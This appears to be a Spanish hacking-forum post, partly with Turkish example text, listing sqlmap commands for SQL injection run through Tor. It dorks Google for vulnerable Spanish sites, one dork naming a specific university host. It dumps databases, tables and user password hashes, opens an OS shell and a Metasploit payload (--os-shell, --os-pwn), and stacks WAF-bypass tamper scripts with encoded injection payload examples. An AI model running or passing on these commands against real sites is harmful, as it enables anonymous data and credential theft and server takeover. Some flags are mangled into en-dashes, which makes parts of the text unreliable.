Como Aprender a utilizar SQLmap y Tor

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¿Que es SQLmap?

SQLmap es una de las herramienta más conocidas para hacer ataques SQLi (SQL Injection) escrita en Python. SQLmap se encarga de realizar peticiones a los parámetros de una URL que se le indiquen, ya sea mediante una petición GET, POST, en las cookies, etc. Es capaz de explotar todo tipo de SQLi como union-base, time-base-blind, base-blind-injection, heavy-queries, etc.

Brevemente os indicare comandos los cuales utilizareis mas cuando lleveis a cabo un pentesting con SQLmap.


Buscar SQL Injection en una web especifica:

./sqlmap.py -g «inurl:ednolo.alumnos.upv.es*php? site:es» –batch –beep –dbs –random-agent

Exactamente lo mismo que la anterior, pero esta vez nos conectamos mediante tor.

./sqlmap.py -g "inurl:<url>*php? site:es" --dbs --random-agent --tor --check-tor –tor-type=SOCKS5

Comprobamos si la web es vulnerable, nos mostrara las bases de datos y el baner.

./sqlmap.py -u <url> –check-tor –tor –tor-type=SOCKS5 –time-sec=25 –threads 5 –random-agent –dbs –banner –beep

Mostramos las tablas de la <base de datos> con 5 hilos

./sqlmap.py -u <url> –check-tor –tor –tor-type=SOCKS5 –time-sec=25 –threads 5 –random-agent -D <database> –tables

Mostramos las columnas de la <base de datos> y <Tabla>

./sqlmap.py -u <url> –check-tor –tor –tor-type=SOCKS5 –time-sec=25 –threads 5 –random-agent -D <database> -T <table> –columns

Realizamos un DUMP de la base de datos, tabla y columna indicada

./sqlmap.py -u <url> --check-tor --tor --tor-type=SOCKS5 --time-sec=25 --threads 5 --random-agent -D <database> -T <table> -C <column> --dump

Si queremos realizar el dump de diferentes columnas lo separamos por comas.

./sqlmap.py -u <url> --check-tor --tor --tor-type=SOCKS5 --time-sec=25 --threads 5 --random-agent -D <database> -T <table> -C <column1,column2> --dump –batch

Realizamos DUMP de todas las bases de datos

./sqlmap.py -u <url> --check-tor --tor --tor-type=SOCKS5 --time-sec=25 --threads 5 --random-agent -D <database> --tables --dump-all --batch

Comprobar con que usuario se están ejecutando las consultas.

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –current-user

Comprobar si el usuario con el que se están ejecutando las consultas es administrador de la base de datos

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –is-dba –current-db

Comprobar que privilegios tiene el usuario con el que se esta ejecutando las consultas.

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –privileges

Mostrar todos los usuarios

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –users

Obtener las contraseñas de los usuarios de la base de datos

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –password

Buscar caracteres en las base de datos

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 -C <BUSCAR> –search

Subir uploader (sqlmap file uploader)

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –os-shell

Crear un playloads con metasploit

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –os-pwn

Bypass MySQL con You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –dbms «MySQL» -p «fd» –tamper «chardoubleencode.py» –dbs

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./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –dbms «MySQL» –technique U -p id –tamper «space2mysqlblank.py«

Bypass ALL

./sqlmap.py --tor --tor-type=SOCKS5  -u <url> --time-sec=25 --threads 5 --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
Bypass MSSQL

./sqlmap.py --tor --tor-type=SOCKS5  -u <url> --time-sec=25 --threads 5 --level=5 –risk=3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
Bypass MYSQL

./sqlmap.py --tor --tor-type=SOCKS5  -u <url> --time-sec=25 --threads 5 --level=5 –risk=3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor


Todos los script para BYPASS

apostrophemask.py (UTF-8)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu:  AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

apostrophenullencode.py (unicode)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu:  AND %271%27=%271%27

appendnullbyte.py ()
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1
Platform:
* Microsoft Access

base64encode.py (base64)
Örnek:
* Orjinal Komut: 1' AND SLEEP(5)#
* Bypass Komutu:  MScgQU5EIFNMRUVQKDUpIw==

between.py ("not between" ">")
Örnek:
* Orjinal Komut: 'A > B'
* Bypass Komutu:  'A NOT BETWEEN 0 AND B'

bluecoat.py ("like" "=")
Örnek:
* Orjinal Komut: SELECT id FROM users where id = 1
* Bypass Komutu:  SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS

chardoubleencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu:  %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu:  %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

charunicodeencode.py
Örnek:
* Orjinal Komut: SELECT FIELD%20FROM TABLE
* Bypass Komutu:  %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Platform:
* ASP
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equaltolike.py ("like" "=")
Örnek:
* Orjinal Komut: SELECT * FROM users WHERE id=1
* Bypass Komutu:  SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py
Örnek:
* Orjinal Komut: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Bypass Komutu:  value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Platform:
* MySQL < 5.1

ifnull2ifisnull.py ("IF(ISNULL(A), B, A)" "IFNULL(A, B)")
Örnek:
* Orjinal Komut: IFNULL(1, 2)
* Bypass Komutu:  IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

modsecurityversioned.py
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu:  1 /*!30000AND 2>1*/--
Platform:
* MySQL

modsecurityzeroversioned.py ("0000")
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu:  1 /*!00000AND 2>1*/--
Platform:
* MySQL

multiplespaces.py
Örnek:
* Orjinal Komut: UNION SELECT
* Bypass Komutu:   UNION   SELECT

nonrecursivereplacement.py
Örnek:
* Orjinal Komut: 1 UNION SELECT 2--
* Bypass Komutu:  1 UNUNIONION SELSELECTECT 2--

percentage.py ("%")
Örnek:
* Orjinal Komut: SELECT FIELD FROM TABLE
* Bypass Komutu:  %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
* ASP

randomcase.py
Örnek:
* Orjinal Komut: INSERT
* Bypass Komutu:  InsERt

randomcomments.py
Örnek:
'INSERT' becomes 'IN/**/S/**/ERT'

securesphere.py
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1 and '0having'='0having'

sp_password.py ("sp_password")
Örnek:
* Orjinal Komut: 1 AND 9227=9227--
* Bypass Komutu:  1 AND 9227=9227--sp_password
Platform:
* MSSQL

space2comment.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT/**/id/**/FROM/**/users

space2dash.py ("--")
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Platform:
* MSSQL
* SQLite

space2hash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
* MySQL

space2morehash.py
Platform:
* MySQL >= 5.1.13

space2mssqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%08id%02FROM%0Fusers
Platform:
* Microsoft SQL Server

space2mssqlhash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23%0A9227=9227
Platform:
* MSSQL
* MySQL

space2mysqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%0Bid%0BFROM%A0users
Platform:
* MySQL

space2mysqldash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1--%0AAND--%0A9227=9227
Platform:
* MySQL
* MSSQL

space2plus.py ("+")
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT+id+FROM+users

space2randomblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECTridtFROMnusers

unionalltounion.py ("union all" "union")
Örnek:
* Orjinal Komut: -1 UNION ALL SELECT
* Bypass Komutu:  -1 UNION SELECT

unmagicquotes.py ("%bf%27" "--")
Örnek:
* Orjinal Komut: 1' AND 1=1
* Bypass Komutu:  1%bf%27 AND 1=1--%20

versionedkeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Bypass Komutu:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
* MySQL

versionedmorekeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Bypass Komutu:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13


Un saludo

Happy Hacking 

Buena recopilación de comandos, seguro que a los que se están iniciando en el SQLi (y SQLmap) lo agradecen.